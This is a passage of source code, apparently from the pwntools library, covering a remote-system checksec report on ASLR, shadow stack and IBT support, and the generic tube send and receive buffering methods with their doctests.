_cpuinfo(self):\n        if self._cpuinfo_cache is None:\n            with context.quiet:\n                try:\n                    self._cpuinfo_cache = self.download_data('/proc/cpuinfo', fingerprint=False)\n                except PwnlibException:\n                    self._cpuinfo_cache = b''\n        return self._cpuinfo_cache\n\n    @property\n    def user_shstk(self):\n        \"\"\":class:`bool`: Whether userspace shadow stack is supported on the system.\n\n        Example:\n\n            >>> s = ssh(\"travis\", \"example.pwnme\")\n            >>> s.user_shstk # doctest: +SKIP \n            False\n        \"\"\"\n        if self._user_shstk is None:\n            if self.os != 'linux':\n                self.warn_once(\"Only Linux is supported for userspace shadow stack checks.\")\n                self._user_shstk = False\n\n            else:\n                cpuinfo = self._cpuinfo()\n\n                self._user_shstk = b' user_shstk' in cpuinfo\n        return self._user_shstk\n\n    @property\n    def ibt(self):\n        \"\"\":class:`bool`: Whether kernel indirect branch tracking is supported on the system.\n\n        Example:\n\n            >>> s = ssh(\"travis\", \"example.pwnme\")\n            >>> s.ibt\n            False\n        \"\"\"\n        if self._ibt is None:\n            if self.os != 'linux':\n                self.warn_once(\"Only Linux is supported for kernel indirect branch tracking checks.\")\n                self._ibt = False\n\n            else:\n                cpuinfo = self._cpuinfo()\n\n                self._ibt = b' ibt ' in cpuinfo or b' ibt\\n' in cpuinfo\n        return self._ibt\n\n    def _checksec_cache(self, value=None):\n        path = self._get_cachefile('%s-%s' % (self.host, self.port))\n\n        if value is not None:\n            with open(path, 'w+') as f:\n                f.write(value)\n        elif os.path.exists(path):\n            with open(path, 'r+') as f:\n                return f.read()\n\n    def checksec(self, banner=True):\n        \"\"\"checksec()\n\n        Prints a helpful message about the remote system.\n\n        Arguments:\n            banner(bool): Whether to print the path to the ELF binary.\n        \"\"\"\n        cached = self._checksec_cache()\n        if cached:\n            return cached\n\n        red    = text.red\n        green  = text.green\n        yellow = text.yellow\n\n        res = [\n            \"%s@%s:\" % (self.user, self.host),\n            \"Distro\".ljust(10) + ' '.join(self.distro),\n            \"OS:\".ljust(10) + self.os,\n            \"Arch:\".ljust(10) + self.arch,\n            \"Version:\".ljust(10) + '.'.join(map(str, self.version)),\n\n            \"ASLR:\".ljust(10) + {\n                True: green(\"Enabled\"),\n                False: red(\"Disabled\")\n            }[self.aslr],\n            \"SHSTK:\".ljust(10) + {\n                True: green(\"Enabled\"),\n                False: red(\"Disabled\")\n            }[self.user_shstk],\n            \"IBT:\".ljust(10) + {\n                True: green(\"Enabled\"),\n                False: red(\"Disabled\")\n            }[self.ibt],\n        ]\n\n        if self.aslr_ulimit:\n            res += [ \"Note:\".ljust(10) + red(\"Susceptible to ASLR ulimit trick (CVE-2016-3672)\")]\n\n        cached = '\\n'.join(res)\n        self._checksec_cache(cached)\n        return cached\n"
  },
  {
    "path": "pwnlib/tubes/tube.py",
    "content": "import abc\nimport logging\nimport os\nimport re\nimport string\nimport subprocess\nimport sys\nimport threading\nimport time\n\nfrom pwnlib import atexit\nfrom pwnlib import term\nfrom pwnlib.context import context\nfrom pwnlib.log import Logger\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.tubes.buffer import Buffer\nfrom pwnlib.util import fiddling\nfrom pwnlib.util import iters\nfrom pwnlib.util import misc\nfrom pwnlib.util import packing\n\n\nclass tube(Timeout, Logger):\n    \"\"\"\n    Container of all the tube functions common to sockets, TTYs and SSH connetions.\n    \"\"\"\n\n    default = Timeout.default\n    forever = Timeout.forever\n\n    def __init__(self, timeout = default, level = None, *a, **kw):\n        super(tube, self).__init__(timeout)\n\n        Logger.__init__(self, None)\n        if level is not None:\n            self.setLevel(level)\n\n        self.buffer = Buffer(*a, **kw)\n        self._newline = None\n        atexit.register(self.close)\n\n    def _normalize_keepends_drop(self, keepends, drop, drop_default):\n        '''\n        >>> t = tube()\n        >>> t._normalize_keepends_drop(None, None, True)\n        True\n        >>> t._normalize_keepends_drop(None, None, False)\n        False\n        >>> t._normalize_keepends_drop(None, True, True)\n        True\n        >>> t._normalize_keepends_drop(None, True, False)\n        True\n        >>> t._normalize_keepends_drop(True, None, True)\n        False\n        >>> t._normalize_keepends_drop(True, None, False)\n        False\n        >>> t._normalize_keepends_drop(None, False, True)\n        False\n        >>> t._normalize_keepends_drop(None, False, False)\n        False\n        >>> t._normalize_keepends_drop(False, None, True)\n        True\n        >>> t._normalize_keepends_drop(False, None, False)\n        True\n        >>> t._normalize_keepends_drop(False, True, False)\n        Traceback (most recent call last):\n            ...\n        pwnlib.exception.PwnlibException: 'drop' and 'keepends' arguments cannot be used together.\n        '''\n        if keepends is not None:\n            self.warn_once(\"'keepends' argument is deprecated. Use 'drop' instead.\")\n        if drop is None and keepends is None:\n            return drop_default\n        elif drop is not None:\n            if keepends is not None:\n                self.error(\"'drop' and 'keepends' arguments cannot be used together.\")\n            return drop\n        return not keepends\n\n    @property\n    def newline(self):\n        r'''Character sent with methods like sendline() or used for recvline().\n\n            >>> t = tube()\n            >>> t.newline = b'X'\n            >>> t.unrecv(b'A\\nB\\nCX')\n            >>> t.recvline()\n            b'A\\nB\\nCX'\n\n            >>> t = tube()\n            >>> context.newline = b'\\r\\n'\n            >>> t.newline\n            b'\\r\\n'\n\n            # Clean up\n            >>> context.clear()\n        '''\n        if self._newline is not None:\n            return self._newline\n        return context.newline\n\n    @newline.setter\n    def newline(self, newline):\n        self._newline = packing._need_bytes(newline)\n\n    # Functions based on functions from subclasses\n    def recv(self, numb = None, timeout = default):\n        r\"\"\"recv(numb = 4096, timeout = default) -> bytes\n\n        Receives up to `numb` bytes of data from the tube, and returns\n        as soon as any quantity of data is available.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Raises:\n            exceptions.EOFError: The connection is closed\n\n        Returns:\n            A bytes object containing bytes received from the socket,\n            or ``''`` if a timeout occurred while waiting.\n\n        Examples:\n\n            >>> t = tube()\n            >>> # Fake a data source\n            >>> t.recv_raw = lambda n: b'Hello, world'\n            >>> t.recv() == b'Hello, world'\n            True\n            >>> t.unrecv(b'Woohoo')\n            >>> t.recv() == b'Woohoo'\n            True\n            >>> with context.local(log_level='debug'):\n            ...    _ = t.recv()\n            [...] Received 0xc bytes:\n                b'Hello, world'\n        \"\"\"\n        numb = self.buffer.get_fill_size(numb)\n        return self._recv(numb, timeout) or b''\n\n    def unrecv(self, data):\n        \"\"\"unrecv(data)\n\n        Puts the specified data back at the beginning of the receive\n        buffer.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'hello'\n            >>> t.recv()\n            b'hello'\n            >>> t.recv()\n            b'hello'\n            >>> t.unrecv(b'world')\n            >>> t.recv()\n            b'world'\n            >>> t.recv()\n            b'hello'\n        \"\"\"\n        data = packing._need_bytes(data)\n        self.buffer.unget(data)\n\n    def _fillbuffer(self, timeout = default):\n        \"\"\"_fillbuffer(timeout = default)\n\n        Fills the internal buffer from the pipe, by calling\n        :meth:`recv_raw` exactly once.\n\n        Returns:\n\n            The bytes of data received, or ``''`` if no data was received.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda *a: b'abc'\n            >>> len(t.buffer)\n            0\n            >>> t._fillbuffer()\n            b'abc'\n            >>> len(t.buffer)\n            3\n        \"\"\"\n        data = b''\n\n        with self.local(timeout):\n            data = self.recv_raw(self.buffer.get_fill_size())\n\n        if data and self.isEnabledFor(logging.DEBUG):\n            self.debug('Received %#x bytes:' % len(data))\n            self.maybe_hexdump(data, level=logging.DEBUG)\n        if data:\n            self.buffer.add(data)\n\n        return data\n\n\n    def _recv(self, numb = None, timeout = default):\n        \"\"\"_recv(numb = 4096, timeout = default) -> str\n\n        Receives one chunk of from the internal buffer or from the OS if the\n        buffer is empty.\n        \"\"\"\n        numb = self.buffer.get_fill_size(numb)\n\n        # No buffered data, could not put anything in the buffer\n        # before timeout.\n        if not self.buffer and not self._fillbuffer(timeout):\n            return b''\n\n        return self.buffer.get(numb)\n\n    def recvpred(self, pred, timeout = default):\n        \"\"\"recvpred(pred, timeout = default) -> bytes\n\n        Receives one byte at a time from the tube, until ``pred(all_bytes)``\n        evaluates to True.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Arguments:\n            pred(callable): Function to call, with the currently-accumulated data.\n            timeout(int): Timeout for the operation\n\n        Raises:\n            exceptions.EOFError: The connection is closed\n\n        Returns:\n            A bytes object containing bytes received from the socket,\n            or ``''`` if a timeout occurred while waiting.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'abbbaccc'\n            >>> pred = lambda p: p.count(b'a') == 2\n            >>> t.recvpred(pred)\n            b'abbba'\n            >>> pred = lambda p: p.count(b'd') > 0\n            >>> t.recvpred(pred, timeout=0.05)\n            b''\n        \"\"\"\n\n        data = b''\n\n        with self.countdown(timeout):\n            while not pred(data):\n                if not self.countdown_active():\n                    self.unrecv(data)\n                    return b''\n\n                try:\n                    res = self.recv(1, timeout=timeout)\n                except Exception:\n                    self.unrecv(data)\n                    return b''\n\n                if res:\n                    data += res\n                else:\n                    self.unrecv(data)\n                    return b''\n\n        return data\n\n    def recvn(self, numb, timeout = default):\n        \"\"\"recvn(numb, timeout = default) -> bytes\n\n        Receives exactly `n` bytes.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Raises:\n            exceptions.EOFError: The connection closed before the request could be satisfied\n\n        Returns:\n            A string containing bytes received from the socket,\n            or ``''`` if a timeout occurred while waiting.\n\n        Examples:\n\n            >>> t = tube()\n            >>> data = b'hello world'\n            >>> t.recv_raw = lambda *a: data\n            >>> t.recvn(len(data)) == data\n            True\n            >>> t.recvn(len(data)+1) == data + data[:1]\n            True\n            >>> t.recv_raw = lambda *a: None\n            >>> # The remaining data is buffered\n            >>> t.recv() == data[1:]\n            True\n            >>> t.recv_raw = lambda *a: time.sleep(0.01) or b'a'\n            >>> t.recvn(10, timeout=0.05)\n            b''\n            >>> t.recvn(10, timeout=0.06)\n            b'aaaaaa...'\n        \"\"\"\n        # Keep track of how much data has been received\n        # It will be pasted together at the end if a\n        # timeout does not occur, or put into the tube buffer.\n        with self.countdown(timeout):\n            while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout):\n                pass\n\n        if len(self.buffer) < numb:\n            return b''\n\n        return self.buffer.get(numb)\n\n    def recvuntil(self, delims, drop=False, timeout=default):\n        \"\"\"recvuntil(delims, drop=False, timeout=default) -> bytes\n\n        Receive data until one of `delims` is encountered.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        arguments:\n            delims(bytes,tuple): Byte-string of delimiters characters, or list of delimiter byte-strings.\n            drop(bool): Drop the ending.  If :const:`True` it is removed from the end of the return value.\n\n        Raises:\n            exceptions.EOFError: The connection closed before the request could be satisfied\n\n        Returns:\n            A string containing bytes received from the socket,\n            or ``''`` if a timeout occurred while waiting.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b\"Hello World!\"\n            >>> t.recvuntil(b' ')\n            b'Hello '\n            >>> _=t.clean(0)\n            >>> # Matches on 'o' in 'Hello'\n            >>> t.recvuntil((b' ',b'W',b'o',b'r'))\n            b'Hello'\n            >>> _=t.clean(0)\n            >>> # Matches expressly full string\n            >>> t.recvuntil(b' Wor')\n            b'Hello Wor'\n            >>> _=t.clean(0)\n            >>> # Matches on full string, drops match\n            >>> t.recvuntil(b' Wor', drop=True)\n            b'Hello'\n\n            >>> # Try with regex special characters\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b\"Hello|World\"\n            >>> t.recvuntil(b'|', drop=True)\n            b'Hello'\n\n        \"\"\"\n        # Convert string into singleton tupple\n        if isinstance(delims, (bytes, bytearray, str)):\n            delims = (delims,)\n        delims = tuple(map(packing._need_bytes, delims))\n\n        # Longest delimiter for tracking purposes\n        longest = max(map(len, delims))\n\n        # Cumulative data to search\n        data = []\n        top = b''\n\n        with self.countdown(timeout):\n            while self.countdown_active():\n                try:\n                    res = self.recv(timeout=self.timeout)\n                except Exception:\n                    self.unrecv(b''.join(data) + top)\n                    raise\n\n                if not res:\n                    self.unrecv(b''.join(data) + top)\n                    return b''\n\n                top += res\n                start = len(top)\n                for d in delims:\n                    j = top.find(d)\n                    if start > j > -1:\n                        start = j\n                        end = j + len(d)\n                if start < len(top):\n                    self.unrecv(top[end:])\n                    if drop:\n                        top = top[:start]\n                    else:\n                        top = top[:end]\n                    return b''.join(data) + top\n                if len(top) > longest:\n                    i = -longest - 1\n                    data.append(top[:i])\n                    top = top[i:]\n\n        return b''\n\n    def recvlines(self, numlines=2**20, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvlines(numlines, drop=True, timeout=default) -> list of bytes objects\n\n        Receive up to ``numlines`` lines.\n\n        A \"line\" is any sequence of bytes terminated by the byte sequence\n        set by :attr:`newline`, which defaults to ``'\\n'``.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Arguments:\n            numlines(int): Maximum number of lines to receive\n            drop(bool): Drop newlines at the end of each line (:const:`True`).\n            timeout(int): Maximum timeout\n\n        Raises:\n            exceptions.EOFError: The connection closed before the request could be satisfied\n\n        Returns:\n            A string containing bytes received from the socket,\n            or ``''`` if a timeout occurred while waiting.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'\\n'\n            >>> t.recvlines(3)\n            [b'', b'', b'']\n            >>> t.recv_raw = lambda n: b'Foo\\nBar\\nBaz\\n'\n            >>> t.recvlines(3)\n            [b'Foo', b'Bar', b'Baz']\n            >>> t.recvlines(3, True)\n            [b'Foo\\n', b'Bar\\n', b'Baz\\n']\n            >>> t.recvlines(3, drop=False)\n            [b'Foo\\n', b'Bar\\n', b'Baz\\n']\n        \"\"\"\n        drop = self._normalize_keepends_drop(keepends, drop, True)\n        del keepends\n\n        lines = []\n        with self.countdown(timeout):\n            for _ in range(numlines):\n                try:\n                    # We must set 'drop' to False here so that we can\n                    # restore the original, unmodified data to the buffer\n                    # in the event of a timeout.\n                    res = self.recvline(drop=False, timeout=timeout)\n                except Exception:\n                    self.unrecv(b''.join(lines))\n                    raise\n\n                if res:\n                    lines.append(res)\n                else:\n                    break\n\n        if drop:\n            lines = [line.rstrip(self.newline) for line in lines]\n\n        return lines\n\n    def recvlinesS(self, numlines=2**20, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvlinesS(numlines, drop=True, timeout=default) -> str list\n\n        This function is identical to :meth:`recvlines`, but decodes\n        the received bytes into string using :func:`context.encoding`.\n        You should use :meth:`recvlines` whenever possible for better performance.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'\\n'\n            >>> t.recvlinesS(3)\n            ['', '', '']\n            >>> t.recv_raw = lambda n: b'Foo\\nBar\\nBaz\\n'\n            >>> t.recvlinesS(3)\n            ['Foo', 'Bar', 'Baz']\n        \"\"\"\n        return [packing._decode(x) for x in self.recvlines(numlines, keepends=keepends, drop=drop, timeout=timeout)]\n\n    def recvlinesb(self, numlines=2**20, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvlinesb(numlines, drop=True, timeout=default) -> bytearray list\n\n        This function is identical to :meth:`recvlines`, but returns a bytearray.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'\\n'\n            >>> t.recvlinesb(3)\n            [bytearray(b''), bytearray(b''), bytearray(b'')]\n            >>> t.recv_raw = lambda n: b'Foo\\nBar\\nBaz\\n'\n            >>> t.recvlinesb(3)\n            [bytearray(b'Foo'), bytearray(b'Bar'), bytearray(b'Baz')]\n        \"\"\"\n        return [bytearray(x) for x in self.recvlines(numlines, keepends=keepends, drop=drop, timeout=timeout)]\n\n    def recvline(self, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvline(drop=False, timeout=default) -> bytes\n\n        Receive a single line from the tube.\n\n        A \"line\" is any sequence of bytes terminated by the byte sequence\n        set in :attr:`newline`, which defaults to ``b'\\n'``.\n\n        If the connection is closed (:class:`EOFError`) before a newline\n        is received, the buffered data is returned by default and a warning\n        is logged. If the buffer is empty, an :class:`EOFError` is raised.\n        This behavior can be changed by setting :meth:`pwnlib.context.ContextType.throw_eof_on_incomplete_line`.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty byte string (``b''``) is returned.\n\n        Arguments:\n            drop(bool): Drop the line ending (:const:`False`).\n            timeout(int): Timeout\n\n        Raises:\n            :class:`EOFError`: The connection closed before the request\n                                 could be satisfied and the buffer is empty\n\n        Return:\n            All bytes received over the tube until the first\n            newline ``'\\n'`` is received.  Optionally retains\n            the ending. If the connection is closed before a newline\n            is received, the remaining data received up to this point\n            is returned.\n\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'Foo\\nBar\\r\\nBaz\\n'\n            >>> t.recvline()\n            b'Foo\\n'\n            >>> t.recvline()\n            b'Bar\\r\\n'\n            >>> t.recvline(False)\n            b'Baz'\n            >>> t.newline = b'\\r\\n'\n            >>> t.recvline(drop=True)\n            b'Foo\\nBar'\n            >>> t = tube()\n            >>> def _recv_eof(n):\n            ...     if not _recv_eof.throw:\n            ...         _recv_eof.throw = True\n            ...         return b'real line\\ntrailing data'\n            ...     raise EOFError\n            >>> _recv_eof.throw = False\n            >>> t.recv_raw = _recv_eof\n            >>> t.recvline()\n            b'real line\\n'\n            >>> t.recvline()\n            b'trailing data'\n            >>> t.recvline()\n            Traceback (most recent call last):\n                ...\n            EOFError\n        \"\"\"\n        drop = self._normalize_keepends_drop(keepends, drop, False)\n        del keepends\n\n        try:\n            return self.recvuntil(self.newline, drop=drop, timeout=timeout)\n        except EOFError:\n            if not context.throw_eof_on_incomplete_line and self.buffer.size > 0:\n                if context.throw_eof_on_incomplete_line is None:\n                    self.warn_once('EOFError during recvline. Returning buffered data without trailing newline.')\n                return self.buffer.get()\n            raise\n\n    def recvline_pred(self, pred, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvline_pred(pred, drop=True, timeout=default) -> bytes\n\n        Receive data until ``pred(line)`` returns a truthy value.\n        Drop all other data.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Arguments:\n            pred(callable): Function to call.  Returns the line for which\n                this function returns :const:`True`.\n            drop(bool): Drop the line ending (:const:`True`).\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b\"Foo\\nBar\\nBaz\\n\"\n            >>> t.recvline_pred(lambda line: line == b\"Bar\\n\")\n            b'Bar'\n            >>> t.recvline_pred(lambda line: line == b\"Bar\\n\", True)\n            b'Bar\\n'\n            >>> t.recvline_pred(lambda line: line == b\"Bar\\n\", drop=False)\n            b'Bar\\n'\n            >>> t.recvline_pred(lambda line: line == b'Nope!', timeout=0.1)\n            b''\n        \"\"\"\n        drop = self._normalize_keepends_drop(keepends, drop, True)\n        del keepends\n\n        tmpbuf = Buffer()\n        line   = b''\n        with self.countdown(timeout):\n            while self.countdown_active():\n                try:\n                    line = self.recvline(drop=False)\n                except Exception:\n                    self.buffer.unget(tmpbuf)\n                    raise\n\n                if not line:\n                    self.buffer.unget(tmpbuf)\n                    return b''\n\n                if pred(line):\n                    if drop:\n                        line = line.rstrip(self.newline)\n                    return line\n                else:\n                    tmpbuf.add(line)\n\n        return b''\n\n    def recvline_contains(self, items, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvline_contains(items, drop=True, timeout=default) -> bytes\n\n        Receive lines until one line is found which contains at least\n        one of `items`.\n\n        Arguments:\n            items(str,tuple): List of strings to search for, or a single string.\n            drop(bool): Drop the line ending (:const:`True`).\n            timeout(int): Timeout, in seconds\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b\"Hello\\nWorld\\nXylophone\\n\"\n            >>> t.recvline_contains(b'r')\n            b'World'\n            >>> f = lambda n: b\"cat dog bird\\napple pear orange\\nbicycle car train\\n\"\n            >>> t = tube()\n            >>> t.recv_raw = f\n            >>> t.recvline_contains(b'pear')\n            b'apple pear orange'\n            >>> t = tube()\n            >>> t.recv_raw = f\n            >>> t.recvline_contains((b'car', b'train'))\n            b'bicycle car train'\n        \"\"\"\n        if isinstance(items, (bytes, bytearray, str)):\n            items = (items,)\n        items = tuple(map(packing._need_bytes, items))\n\n        def pred(line):\n            return any(d in line for d in items)\n\n        return self.recvline_pred(pred, keepends=keepends, drop=drop, timeout=timeout)\n\n    def recvline_startswith(self, delims, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvline_startswith(delims, drop=True, timeout=default) -> bytes\n\n        Keep receiving lines until one is found that starts with one of\n        `delims`.  Returns the last line received.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Arguments:\n            delims(str,tuple): List of strings to search for, or string of single characters\n            drop(bool): Drop the line ending (:const:`True`).\n            timeout(int): Timeout, in seconds\n\n        Returns:\n            The first line received which starts with a delimiter in ``delims``.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b\"Hello\\nWorld\\nXylophone\\n\"\n            >>> t.recvline_startswith((b'W',b'X',b'Y',b'Z'))\n            b'World'\n            >>> t.recvline_startswith((b'W',b'X',b'Y',b'Z'), drop=False)\n            b'Xylophone\\n'\n            >>> t.recvline_startswith(b'Wo')\n            b'World'\n        \"\"\"\n        # Convert string into singleton tupple\n        if isinstance(delims, (bytes, bytearray, str)):\n            delims = (delims,)\n        delims = tuple(map(packing._need_bytes, delims))\n\n        return self.recvline_pred(lambda line: any(map(line.startswith, delims)),\n                                  keepends=keepends,\n                                  drop=drop,\n                                  timeout=timeout)\n\n    def recvline_endswith(self, delims, keepends=None, drop=None, timeout=default):\n        r\"\"\"recvline_endswith(delims, drop=True, timeout=default) -> bytes\n\n        Keep receiving lines until one is found that ends with one of\n        `delims`.  Returns the last line received.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        See :meth:`recvline_startswith` for more details.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'Foo\\nBar\\nBaz\\nKaboodle\\n'\n            >>> t.recvline_endswith(b'r')\n            b'Bar'\n            >>> t.recvline_endswith((b'a',b'b',b'c',b'd',b'e'), drop=False)\n            b'Kaboodle\\n'\n            >>> t.recvline_endswith(b'oodle')\n            b'Kaboodle'\n        \"\"\"\n        # Convert string into singleton tupple\n        if isinstance(delims, (bytes, bytearray, str)):\n            delims = (delims,)\n\n        delims = tuple(packing._need_bytes(delim) + self.newline for delim in delims)\n\n        return self.recvline_pred(lambda line: any(map(line.endswith, delims)),\n                                  keepends=keepends,\n                                  drop=drop,\n                                  timeout=timeout)\n\n    def recvregex(self, regex, exact=False, timeout=default, capture=False):\n        r\"\"\"recvregex(regex, exact=False, timeout=default, capture=False) -> bytes\n\n        Wrapper around :func:`recvpred`, which will return when a regex\n        matches the string in the buffer.\n\n        Returns all received data up until the regex matched. If `capture` is\n        set to True, a :class:`re.Match` object is returned instead.\n\n        By default :func:`re.RegexObject.search` is used, but if `exact` is\n        set to True, then :func:`re.RegexObject.match` will be used instead.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.recv_raw = lambda n: b'The lucky number is 1337 as always\\nBla blubb blargh\\n'\n            >>> m = t.recvregex(br'number is ([0-9]+) as always\\n', capture=True)\n            >>> m.group(1)\n            b'1337'\n            >>> t.recvregex(br'Bla .* blargh\\n')\n            b'Bla blubb blargh\\n'\n        \"\"\"\n\n        if isinstance(regex, (bytes, bytearray, str)):\n            regex = packing._need_bytes(regex)\n            regex = re.compile(regex)\n\n        if exact:\n            pred = regex.match\n        else:\n            pred = regex.search\n\n        if capture:\n            return pred(self.recvpred(pred, timeout = timeout))\n        else:\n            return self.recvpred(pred, timeout = timeout)\n\n    def recvline_regex(self, regex, exact=False, keepends=None, drop=None, timeout=default):\n        \"\"\"recvline_regex(regex, exact=False, drop=True, timeout=default) -> bytes\n\n        Wrapper around :func:`recvline_pred`, which will return when a regex\n        matches a line.\n\n        By default :func:`re.RegexObject.search` is used, but if `exact` is\n        set to True, then :func:`re.RegexObject.match` will be used instead.\n\n        If the request is not satisfied before ``timeout`` seconds pass,\n        all data is buffered and an empty string (``''``) is returned.\n        \"\"\"\n\n        if isinstance(regex, (bytes, bytearray, str)):\n            regex = packing._need_bytes(regex)\n            regex = re.compile(regex)\n\n        if exact:\n            pred = regex.match\n        else:\n            pred = regex.search\n\n        return self.recvline_pred(pred, keepends=keepends, drop=drop, timeout=timeout)\n\n    def recvrepeat(self, timeout=default):\n        \"\"\"recvrepeat(timeout=default) -> bytes\n\n        Receives data until a timeout or EOF is reached.\n\n        Examples:\n\n            >>> data = [\n            ... b'd',\n            ... b'', # simulate timeout\n            ... b'c',\n            ... b'b',\n            ... b'a',\n            ... ]\n            >>> def delayrecv(n, data=data):\n            ...     return data.pop()\n            >>> t = tube()\n            >>> t.recv_raw = delayrecv\n            >>> t.recvrepeat(0.2)\n            b'abc'\n            >>> t.recv()\n            b'd'\n        \"\"\"\n\n        try:\n            while self._fillbuffer(timeout=timeout):\n                pass\n        except EOFError:\n            pass\n\n        return self.buffer.get()\n\n    def recvall(self, timeout=Timeout.forever):\n        \"\"\"recvall(timeout=Timeout.forever) -> bytes\n\n        Receives data until EOF is reached and closes the tube.\n        \"\"\"\n\n        with self.waitfor('Receiving all data') as h:\n            l = len(self.buffer)\n            with self.local(timeout):\n                try:\n                    while True:\n                        l = misc.size(len(self.buffer))\n                        h.status(l)\n                        if not self._fillbuffer():\n                            break\n                except EOFError:\n                    pass\n            h.success(\"Done (%s)\" % l)\n        self.close()\n\n        return self.buffer.get()\n\n    def send(self, data):\n        \"\"\"send(data)\n\n        Sends data.\n\n        If log level ``DEBUG`` is enabled, also prints out the data\n        received.\n\n        If it is not possible to send anymore because of a closed\n        connection, it raises ``exceptions.EOFError``\n\n        Examples:\n\n            >>> def p(x): print(repr(x))\n            >>> t = tube()\n            >>> t.send_raw = p\n            >>> t.send(b'hello')\n            b'hello'\n        \"\"\"\n\n        data = packing._need_bytes(data)\n\n        if self.isEnabledFor(logging.DEBUG):\n            self.debug('Sent %#x bytes:' % len(data))\n            self.maybe_hexdump(data, level=logging.DEBUG)\n\n        self.send_raw(data)\n\n    def sendline(self, line=b''):\n        r\"\"\"sendline(data)\n\n        Shorthand for ``t.send(data + t.newline)``.\n\n        Examples:\n\n            >>> def p(x): print(repr(x))\n            >>> t = tube()\n            >>> t.send_raw = p\n            >>> t.sendline(b'hello')\n            b'hello\\n'\n            >>> t.newline = b'\\r\\n'\n            >>> t.sendline(b'hello')\n            b'hello\\r\\n'\n        \"\"\"\n\n        line = packing._need_bytes(line)\n\n        self.send(line + self.newline)\n\n    def sendlines(self, lines=[]):\n        for line in lines:\n            line = packing._need_bytes(line)\n            self.sendline(line)\n\n    def sendafter(self, delim, data, timeout = default):\n        \"\"\"sendafter(delim, data, timeout = default) -> str\n\n        A combination of ``recvuntil(delim, timeout=timeout)`` and ``send(data)``.\n        \"\"\"\n\n        data = packing._need_bytes(data)\n        res = self.recvuntil(delim, timeout=timeout)\n        self.send(data)\n        return res\n\n    def sendlineafter(self, delim, data, timeout = default):\n        \"\"\"sendlineafter(delim, data, timeout = default) -> str\n\n        A combination of ``recvuntil(delim, timeout=timeout)`` and ``sendline(data)``.\"\"\"\n\n        data = packing._need_bytes(data)\n        res = self.recvuntil(delim, timeout=timeout)\n        self.sendline(data)\n        return res\n\n    def sendthen(self, delim, data, timeout = default):\n        \"\"\"sendthen(delim, data, timeout = default) -> str\n\n        A combination of ``send(data)`` and ``recvuntil(delim, timeout=timeout)``.\"\"\"\n\n        data = packing._need_bytes(data)\n        self.send(data)\n        return self.recvuntil(delim, timeout=timeout)\n\n    def sendlinethen(self, delim, data, timeout = default):\n        \"\"\"sendlinethen(delim, data, timeout = default) -> str\n\n        A combination of ``sendline(data)`` and ``recvuntil(delim, timeout=timeout)``.\"\"\"\n\n        data = packing._need_bytes(data)\n        self.sendline(data)\n        return self.recvuntil(delim, timeout=timeout)\n\n    def interactive(self, prompt = term.text.bold_red('$') + ' '):\n        \"\"\"interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')\n\n        Does simultaneous reading and writing to the tube. In principle this just\n        connects the tube to standard in and standard out, but in practice this\n        is much more usable, since we are using :mod:`pwnlib.term` to print a\n        floating prompt.\n\n        Thus it only works while in :data:`pwnlib.term.term_mode`.\n        \"\"\"\n\n        self.info('Switching to interactive mode')\n\n        go = threading.Event()\n        def recv_thread():\n            while not go.is_set():\n                try:\n                    cur = self.recv(timeout = 0.05)\n                    cur = cur.replace(self.newline, b'\\n')\n                    if cur:\n                        stdout = sys.stdout\n                        if not term.term_mode:\n                            stdout = getattr(stdout, 'buffer', stdout)\n                        stdout.write(cur)\n                        stdout.flush()\n                except EOFError:\n                    self.info('Got EOF while reading in interactive')\n                    break\n\n        t = context.Thread(target = recv_thread)\n        t.daemon = True\n        t.start()\n\n        from pwnlib.args import term_mode\n        try:\n            os_linesep = os.linesep.encode()\n            to_skip = b''\n            while not go.is_set():\n                if term.term_mode:\n                    data = term.readline.readline(prompt = prompt, float = True)\n                    if data.endswith(b'\\n') and self.newline != b'\\n':\n                        data = data[:-1] + self.newline\n                else:\n                    stdin = getattr(sys.stdin, 'buffer', sys.stdin)\n                    data = stdin.read(1)\n                    # Keep OS's line separator if NOTERM is set and\n                    # the user did not specify a custom newline\n                    # even if stdin is 